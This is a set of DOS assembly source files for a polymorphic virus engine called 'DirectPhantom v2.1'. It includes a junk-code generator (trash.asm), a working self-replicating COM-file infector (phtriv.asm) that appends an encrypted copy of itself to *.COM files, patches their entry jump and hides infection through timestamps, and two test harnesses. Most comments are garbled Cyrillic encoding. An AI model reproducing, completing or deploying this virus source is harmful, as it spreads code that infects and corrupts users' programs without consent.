;  ⮣ 

RotF		equ	00000010b
KillAX		equ	00001000b
SmplyCMD	equ	01110000b

SimplyTAB	equ	$

db	10110000b,01b+TR+ImmF			; MOV REG,Imm8/16
db	10010000b,00b+TR+KillAX 		; XCHG AX,REG
db	01000000b,00b+TR+RotF+10000b		; INC/DEC REG
db	10100001b,00b+KillAX+ImmF		; MOV AX,MEM
db	00000100b,01b+KillAX+RotF+ImmF+SmplyCMD ; ARCMD AL/AX,Imm8/16
db	10101000b,01b+ImmF			; TEST AL/AX,Imm8/16
db	00100111b,00b+KillAX+RotF+110000b	; DAA/DAS/AAA/AAS
db	11111000b,00b+1010000b			; STI,CLI,STD,CLD,STC,CLC
db	11110101b,00b				; CMC
db	10011000b,00b+KillAX			; CBW
db	11010111b,00b+KillAX			; XLAT
db	11001100b,00b				; INT 3
db	10011110b,00b+KillAX+10000b		; SAHF,LAHF
db	10010000b,00b				; NOP
db	00100110b,00b+RotF+110000b		; ES/CS/SS/DS

SimplyEND	equ	$

; 砭 :
;		      
;		  AAM,AAD
;		 MOV AL,MEM

;   楤

TRCMDs		dw	offset SimplyTRASH
		dw	offset SUBROUTINE
		dw	offset CALLtoSUB
		dw	offset RMTRASH
		dw	offset JUMPTRASH
		dw	offset PUSHPOPTRASH
TREND		equ	$
;----------------------------------------------------------------------------

GETVAL		proc
;		 祭  砩 
		call	RND
		shl	dl,1
		movzx	bx,dl
		mov	ax,[si+bx]
		ret
GETVAL		endp
;-------------------
GETTRASHREG	proc
		bt	bx,Wbit       ; ⨭ Wbit
		cmc
		call	GETFREEREG    ; ६  ॣ
		call	FREEREG       ;   砥    -
				      ;   
		ret
GETTRASHREG	endp
;-------------------
AddImmediate	proc
;  ।⢥ ࠭
		test	bl,ImmF
		jz	ExitImmed

		in	al,40h
		stosb
		bt	bx,Wbit
		jnc	ExitImmed
		in	al,40h
		stosb
ExitImmed:
		ret
AddImmediate	endp
;-------------------
AddXtraCMD	PROC
;  ⥫쭮 
		mov	dl,bh
		and	dl,XtraCOP
		or	al,dl

		mov	dl,bh	      ; 塞 ⥫ 
		and	dl,XtraCMD
		call	RND
		shl	dl,3	      ;   3
		or	al,dl
		ret
AddXtraCMD	ENDP
;-------------------
MAKE_WDbits	PROC
; Enter : Bl - flags
; Exit	: Dl - WDbits
;	  Bl - Real WDbits

		mov	cl,bl	       ; CL -  WDbits
		and	bl,NOT WDbit   ; ᨬ  WDbits
		and	cl,WDbit
		pushf
		push	ax
;			    RND bits
		mov	dl,10100100b
WDbits		equ	$ - 1
		shl	cl,1
		shr	dl,cl
		and	dl,3

		in	al,40h
		and	al,11010100b
		xor	byte ptr [WDbits],al

		pop	ax
		or	al,dl	       ; ⨭  W  D
		or	bl,dl	       ;  䫠    WD
				       ;  ⨭ 祭
		popf
		jnz	ExitWDbits
		inc	bx	       ; ᫨ Wbit    
				       ;    㬮砭 W=1
ExitWDbits:
		ret
MAKE_WDbits	ENDP
;-------------------
MAKE_ModeRM	PROC
; Enter : AL - ModeRM 
;	  BX - status  RealWD

		test	bl,TR
		jnz	COPorREG

		mov	dl,7	      ;  㥬 ॣ
		call	RND
		jmp	AddREG
COPorREG:
		test	bl,CMDinRM
		jz	AddFreeREG

		call	AddXtraCMD    ;  
		jmp	REGMEM
AddFreeREG:
		call	GETTRASHREG    ; ६  ॣ
AddREG:
		shl	dl,3	      ; + REG
		or	al,dl
REGMEM:
		test	bl,TRM
		jnz	TestRM

		mov	dl,3	     ; Mode
		test	bl,MemOnly   ; Mode!=11b - ⮫쪮  
		jz	falce
		dec	dl
falce:
		call	RND
		mov	dh,dl	     ; DH=Mode

		mov	dl,7	     ; DL=REG/MEM
		call	RND
		jmp	RMdone
TestRM:
		call	GETTRASHREG
		mov	dh,3
RMdone:
		ror	dh,2
		or	al,dh	      ; + Mode
		or	al,dl	      ; + RM
		stosb

		test	dh,dh		 ; ᭠  'a
		jnz	NextMode
		cmp	dl,00000110b	 ;  ࠭ MEM
		je	Index16

NextMode:
		cmp	dh,01000000b	 ; ᭠ + imm8
		je	Index8
		cmp	dh,10000000b	 ; ஢ 
		jne	ExitModeRM
Index16:				 ; ᭠ + imm16
		in	al,40h
		and	al,7Fh
		stosb
Index8:
		in	al,40h
		and	al,7Fh
		stosb
ExitModeRM:
		ret
MAKE_ModeRM	ENDP
;-------------------
FinishJP	proc
		push	ax
		test	al,JRQ
		jz	FinishPP
		call	JUMPTRASH	   ;஥ JMP
FinishPP:
		pop	ax
		push	ax
		test	al,PRQ
		jz	JPisFinished
		call	PUSHPOPTRASH	   ;஥ PUSH/POP
JPisFinished:
		pop	ax
		ret
FinishJP	endp
;-------------------
JUMPTRASH	PROC
;		  ᫮ 室

		test	[PH_FLAGS],JRQ
		jnz	AddRel8toJMP	      ;稬 Jump

		mov	al,01110000B	      ;Jxx Rel8

		mov	dl,0Fh
		call	RND

		or	al,dl	; Jump'a ⮢
		stosb

		mov	word ptr [JmpPLACE],di	 ;   Relative

		inc	di
		or	[PH_FLAGS],JRQ	;⠭ Jump Request
		ret
AddRel8toJMP:
		mov	ax,di
		mov	bx,1234h
JmpPLACE	equ	$ - 2
		sub	ax,bx
		dec	al
		mov	es:[bx],al

		xor	[PH_FLAGS],JRQ ;ᨬ   襭 Jmp'a
		ret
JUMPTRASH	ENDP
;-------------------
PUSHPOPTRASH	PROC
;		 push' pop'

		test	[PH_FLAGS],JRQ	; ᫨  䫠  jmp'a ,
					;  PUSH/POP 
		jnz	PPExit

		mov	al,01010000b	; PUSH/POP

		test	[PH_FLAGS],PRQ	; PUSH/POP request is set ?
		jnz	MakePOP
MakePUSH:
		and	[PH_FLAGS],not PRQ

		mov	dl,7		; RND ॣ  SREG
		call	RND
		call	DROPCOIN	; PUSH reg  PUSH Sreg
		jz	DonePUSHPOP

		mov	al,00000110b	; PUSH Sreg
		and	dl,00000011b
		shl	dl,3
		jmp	DonePUSHPOP
MakePOP:
		or	al,00001000b	; POP Reg
		clc
		call	GETFREEREG
		call	FREEREG
		or	[PH_FLAGS],PRQ
DonePUSHPOP:
		or	al,dl
		stosb
		xor	[PH_FLAGS],PRQ
PPExit:
		ret
PUSHPOPTRASH	ENDP
;-------------------
SUBROUTINE	PROC

		mov	ax,word ptr [PH_FLAGS]	 ; ७ 䫠

		test	al,SRQ		 ; SRQ ⠭ ?
		jnz	FinishSUB

		test	al,CRQ		 ;   楤
		jz	SUBExit 	 ; ᫨  CALL'a

		test	ax,JRQ or PRQ or MSR  ;   楤
		jnz	SUBExit 	      ; ᫨ JRQ,PRQ=1
					      ;  ᪨஢

		or	al,SRQ		 ; ⠭ SUB request
		and	al,not FCR	 ;    CALL'

		mov	[PH_FLAGS],al

		mov	al,0E9h 	 ; JMP Relative 8 bit
		stosb
		mov	word ptr [JMPovrSUB],di
		inc	di
		inc	di

		call	RMTRASH 	; + 쪮 
		call	SimplyTRASH

		mov	bx,0000b
SubPtr		equ	$ - 2

		mov	[bx+offset SUBOFFS],di	; ᨬ  楤
		inc	bx			;  ⠡ ᬥ饭  SUB'
		inc	bx
		and	bx,00000111b		; ⠡  4 ५譮
		mov	word ptr [SubPtr],bx
		jmp	SUBExit
FinishSUB:
		call	FinishJP	; 稬 JMP  PUSH/POP 
					; (᫨  )
		call	SimplyTRASH
		call	RMTRASH

		mov	al,0C3h
		stosb

		mov	bx,0000h
JMPovrSUB	equ	$ - 2
		mov	ax,di
		sub	ax,bx
		dec	ax
		dec	ax
		mov	es:[bx],ax
		xor	[PH_FLAGS],SRQ
SUBExit:
		ret
SUBROUTINE	ENDP
;-------------------
CALLtoSUB	PROC

		mov	ax,word ptr [PH_FLAGS]

		test	ax,MSR		 ; ⠭ MaskCALL/SUBRequest ?
		jnz	ExitCALL	 ; 饭 譥 ணࠬ

		test	al,CRQ		 ; 訬
		jnz	FinishCALL

		or	al,CRQ or FCR	 ; ⨬ 襭 CALL'a
					 ;   㤥 ᤥ 
					 ;  SUB'⨭
		mov	[PH_FLAGS],al

		mov	al,0E8h
		stosb
		mov	word ptr [CALLPlace],di
		inc	di
		inc	di
		jmp	ExitCALL

FinishCALL:
		test	al,FCR	   ; Finish CALL Request is Set ?
		jnz	ExitCALL   ;  - 楤  ᤥ
NextSUB:
		mov	dl,00000011b	  ; 4 offset'a  CALL'
		mov	si,offset SUBOFFS
		call	GETVAL

		mov	bx,1234
CALLPlace	equ	$ - 2

		sub	ax,bx	       ;   SUB'⨭
		jc	NextSUB        ; ६ 

		sub	ax,2
		mov	es:[bx],ax
		xor	[PH_FLAGS],CRQ
ExitCALL:
		ret
CALLtoSUB	ENDP
;-------------------
RMTRASH 	PROC

		mov	dl,(ENDRMTAB-RMTAB)/3-1
		call	RND

		xchg	al,dl
		mov	dl,3
		mul	dl

		movzx	bx,al	       ; Index

		mov	al,[bx+offset RMTAB]	 ; Load Code Operation
		mov	bx,[bx+offset RMTAB+1]	 ; Load Status Word

		test	bh,KillAD
		jz	SimplyCMD      ;    AX,DX ?

		test	[REG_USED],00000101b ;    ?
		jnz	ExitRMtrash
SimplyCMD:
		call	MAKE_WDbits    ;   W  D

		test	bl,CMDinCOP    ;  ⥫쭠  ?
		jz	OneCommand
		call	AddXtraCMD
OneCommand:
		stosb
		xor	al,al	       ;  ModeRM
		call	MAKE_ModeRM
		call	AddImmediate
ExitRMtrash:
		ret
RMTRASH 	ENDP
;-------------------
SimplyTRASH	proc

		mov	dl,(SimplyEND - SimplyTAB)/2-1
		mov	si,offset SimplyTAB	    ; AL - COP
		call	GETVAL			    ; AH - StatByte

		test	ah,KillAX
		jz	GoodCMD      ;    AX ?

		test	[REG_USED],00000001b ;    ?
		jnz	ExitSimply
GoodCMD:
		mov	bl,ah

		mov	dh,RotF 	; 뤥  RotF
		and	dh,bl
		xor	bl,dh

		mov	bh,al
		xor	al,al
		call	Make_WDbits
		or	bl,dh		; ⠭ ⭮  RotF

		test	bl,TR
		jz	DontREG

		shl	al,3
		or	al,bh

		call	GETTRASHREG	; ६  ॣ
		or	al,dl
		jmp	AddCMD
DontREG:
		or	al,bh
AddCMD:
		mov	dl,bl
		and	dl,SmplyCMD
		ror	dl,4
		call	RND
		test	bl,RotF
		jz	DontRot
		shl	dl,3
DontRot:
		or	al,dl
		stosb
		call	AddImmediate
ExitSimply:
		ret
SimplyTRASH	endp
;-------------------
TRCHAIN 	proc
		pusha

		mov	dl,8	 ;  8  16  
		call	RND
		add	dl,8
		movzx	cx,dl
AddTRCommand:
		push	cx

		mov	si,offset TRCMDs   ; ᨢ  楤
		mov	dl,(TREND-TRCMDs)/2-1
		call	GETVAL		   ; 쬥 offset
		call	ax		   ; 맮

		pop	cx
		loop	AddTRCommand

		mov	al,[PH_FLAGS]
		call	FinishJP	   ; 稬 JMP  PUSH/POP trash

		test	al,SRQ
		jz	ExitTRchain
		call	SUBROUTINE	   ; 稬 SUB'⨭
		call	RMTRASH
ExitTRchain:
		pop	ax		   ;   祭
		push	di
		popa
		ret
TRCHAIN 	endp
;-------------------
FinishTR	proc

		test	[PH_FLAGS],CRQ
		jz	ExitTRASH

		test	[PH_FLAGS],FCR	 ; 祬 稢 CALL -
		jnz	KillCALL	 ;  ᤥ   SUB'⨭
		call	CALLtoSUB
		jmp	ExitTRASH
KillCALL:
		mov	bx,word ptr [CALLPlace]
		mov	byte ptr es:[bx-1],90h

		mov	dx,26F8h	 ; ES/CS/SS/DS,STI/CLI/STD/CLD
		in	ax,40h
		and	ax,1803h
		xor	dx,ax
		mov	es:[bx],dx
ExitTRASH:
		ret
FinishTR	endp
===== end    trash.asm =====


   :

===== begin phtriv.asm =====
; ASM & LINK to PHTRIV.EXE
; EXE2BIN to PHTRIV.COM

		.model	tiny
		.486
PHANTOMtrivial	segment para public use16 'code'
		assume	cs:PHANTOMtrivial,ds:PHANTOMtrivial
TRIVIAL:
		call	BASE
BASE:		pop	si
		sub	si,3
		mov	bx,si

		xor	di,di
		mov	ax,cs
		add	ah,10h
		mov	es,ax
		mov	cx,TRIVIALen
		cld
		rep	movsb
		push	es
		push	offset CONTINUE

		mov	di,100h
		lea	si,[bx+OLDBYTES]
		cld
		push	cs
		pop	es
		movsb
		movsw
		retf
CONTINUE:
		cli
		sub	sp,2Ch	;  DTA
		mov	dx,sp
		push	ss
		pop	ds
		mov	ah,1Ah
		int	21h

		push	cs
		pop	ds
		mov	[DTA],dx
		sti

		mov	cx,00010111b   ; ਡ (,娢,RDonly)
		mov	ah,4Eh
		lea	dx,[COMMASK]
FindNext:
		int	21h
		jc	RESTORE_REGS

		mov	dx,cs:[DTA]
		add	dx,1Eh

		push	ss
		pop	ds

		mov	ax,3D00h
		int	21h

		push	cs
		pop	ds
		mov	[HANDLE],ax

		push	ax
		pop	bx

		mov	ax,1220h	; 室  SFT
		int	2Fh		;es:[di]

		mov	bl,es:[di]	;稬  ᠭ 䠩
		mov	ax,1216h	;es:di
		int	2Fh

		mov	word ptr [FPB],di
		mov	word ptr [FPB+2],es

		mov	word ptr es:[di+2],2   ;  Read/Write

		mov	ax,es:[di+0Dh]
		mov	dl,al
		mov	dh,1Fh
		and	dl,dh
		cmp	dl,dh
		je	NextFile

		or	al,dh
		mov	word ptr [TIME],ax
		mov	ax,es:[di+0Fh]
		mov	word ptr [DATE],ax

		mov	bx,[HANDLE]
		lea	dx,[OLDBYTES]
		mov	ah,3Fh
		mov	cx,3
		int	21h

		mov	ax,word ptr es:[di+11h]
		add	ax,100h
		jc	NextFile
		mov	[RELOFFS],ax

		mov	ax,cs
		mov	dx,TRIVIALen
		shr	dx,4
		inc	dx
		add	ax,dx
		mov	es,ax
		shl	eax,10h

		mov	[TARGETPLACE],eax
		mov	[DEST_CODE],0FFFFh
		mov	[COUNTER],TRIVIALen

		call	PHANTOM

		xor	si,si
		mov	cx,TRIVIALen
		rep	movsb
		push	di

		call	JuNk_DOiT

		pop	cx
		mov	ax,cx

		add	ax,[RELOFFS]
		jc	NextFile

		lds	di,[FPB]

		mov	word ptr dx,ds:[di+11h]
		mov	word ptr ds:[di+15h],dx

		push	ds
		pop	es

		sub	dx,3
		mov	word ptr cs:[TRIVJUMP+1],dx

		push	word ptr cs:[TARGETPLACE+2]
		pop	ds

		xor	dx,dx
		mov	bx,cs:[HANDLE]
		mov	ah,40h
		int	21h

		xor	dx,dx
		mov	word ptr es:[di+15h],dx

		push	cs
		pop	ds
		mov	dx,offset TRIVJUMP
		mov	cx,3
		mov	ah,40h
		int	21h

		mov	ax,5701h
		mov	cx,0000h
TIME		equ	$ - 2
		mov	dx,0000h
DATE		equ	$ - 2
		int	21h

		mov	ah,3Eh
		int	21h
RESTORE_REGS:
		push	cs
		pop	ax
		sub	ah,10h
		mov	word ptr cs:[PROGSEG],AX
		push	ax
		pop	ds
		push	ds
		pop	es

		cli
		add	sp,2Ch
		sti

		mov	dx,80h
		mov	ah,1Ah
		int	21h

		xor	ax,ax
		xor	bx,bx
		xor	cx,cx
		xor	dx,dx
		xor	si,si
		xor	di,di
		xor	bp,bp
		db	0EAh	  ; 뫥⠥  ணࠬ
		dw	100h
PROGSEG:	dw	0000h

NextFile:
		mov	bx,[HANDLE]
		mov	ah,3Eh
		int	21h

		mov	ah,4Fh
		mov	dx,[DTA]
		push	ss
		pop	ds
		jmp	FindNext

;
include 	phantom.asm
include 	trash.asm
; TRIVIAL DATA AREA 

CopyLeft	db	'PHANTOMtrivial - beta tester of DirectPhantom v2.1',0
Author		db	'(C)1998 Nsk,NSTU by DaemonSerJ',0
DTA		dw	0
TRIVJUMP	db	0E9h
		dw	0
OLDBYTES	db	0C3h,90h,90h
HANDLE		dw	0

FPB		dd	0

RELOFFS 	dw	0
DEST_CODE	dw	0
COUNTER 	dw	0
TARGETPLACE	dd	0
LENDECRYPTOR	dw	0
COMMASK 	db	'*.COM',0

TRIVIALen	equ	offset $

PHANTOMtrivial	ends
		end	TRIVIAL

===== end   phtriv.asm =====

===== begin phtest.asm =====
		.486
		MODEL	TINY
CSEG		SEGMENT PARA PUBLIC USE16 'CODE'
		ASSUME	CS:CSEG,DS:CSEG
		ORG	100H
START:
		PUSH	CS
		POP	DS

		mov	bx,1000h
		mov	ah,4Ah
		int	21h
		jc	exit

		mov	ah,48h
		mov	bx,40h
		int	21h
		jc	exit
		mov	es,ax

		movzx	eax,ax
		rol	eax,10h
		mov	[TARGETPLACE],eax
		mov	[RELOFFS],100h
		mov	[DEST_CODE],0FFFFh
		mov	[COUNTER],PrgLen

		call	PHANTOM

		mov	si,offset Demo
		mov	cx,PrgLen
		cld
		rep	movsb

		call	JuNK_DOIT

		mov	ah,3Ch
		mov	dx,offset FILE
		xor	cx,cx
		int	21h

		mov	bx,ax

		mov	ah,40h
		mov	cx,PrgLen
		add	cx,[LenDecryptor]
		lds	dx,[targetplace]
		int	21h

		mov	ah,3Eh
		int	21h

		sti
		mov	es,word ptr cs:[targetplace+2]
		mov	ah,49h
		int	21h
exit:
		mov	ax,4C00h
		int	21h

;----------------------------------------------------------------------------
demo:
		call	Print
		db	13,10,'DirectPhantom v2.1 with SUB & CALL Trash !'
		db	13,10,'$'
Print:		pop	dx
		mov	ah,9
		int	21h
		mov	ax,4C00h
		int	21h
PrgLen		equ	$ - demo

FILE		db 'phdemo.com',0
		dq 0ffffffffffffffffh
;----------------------------------------------------------------------------

reloffs 	dw 0
dest_code	dw 0
counter 	dw 0
targetplace	dd 0
lendecryptor	dw 0

include 	phantom.asm
include 	trash.asm

CSEG		ENDS
                END     START
===== end   phtest.asm =====

===== begin trashtst.asm =====
		.486
		MODEL	TINY
CSEG		SEGMENT PARA PUBLIC USE16 'CODE'
		ASSUME	CS:CSEG,DS:CSEG
		ORG	100H
START:

		PUSH	CS
		POP	DS

		mov	bx,1000h
		mov	ah,4Ah
		int	21h

		mov	ah,48h
		mov	bx,200h
		int	21h
		jnc	OKKK
		int	20h
OKKK:
		mov	es,ax
		xor	di,di

		mov	cx,100
cycle:
		push	cx
		call	TRCHAIN
		mov	eax,90909090h
		stosd
		pop	cx
		loop	cycle

		call	FinishTR

		mov	al,0C3h
		stosb

		mov	ah,3ch
		xor	cx,cx
		mov	dx,offset file
		int	21h

		mov	bx,ax

		mov	ah,40h
		mov	cx,di
		push	ds
		push	es
		pop	ds
		xor	dx,dx
		int	21h

		pop	ds
		mov	ah,3eh
		int	21h

		mov	ah,49h
		int	21h

		int	20h

file		db	'trash.com',0

dq 0FFFFFFFFFFFFFFFFh
;-----------------------------------------------------------------------------

reloffs 	dw 0
dest_code	dw 0
counter 	dw 0
targetplace	dd 0
lendecryptor	dw 0

include 	trash.asm
include 	phantom.asm

CSEG		ENDS
                END     START
===== end   trashtst.asm =====
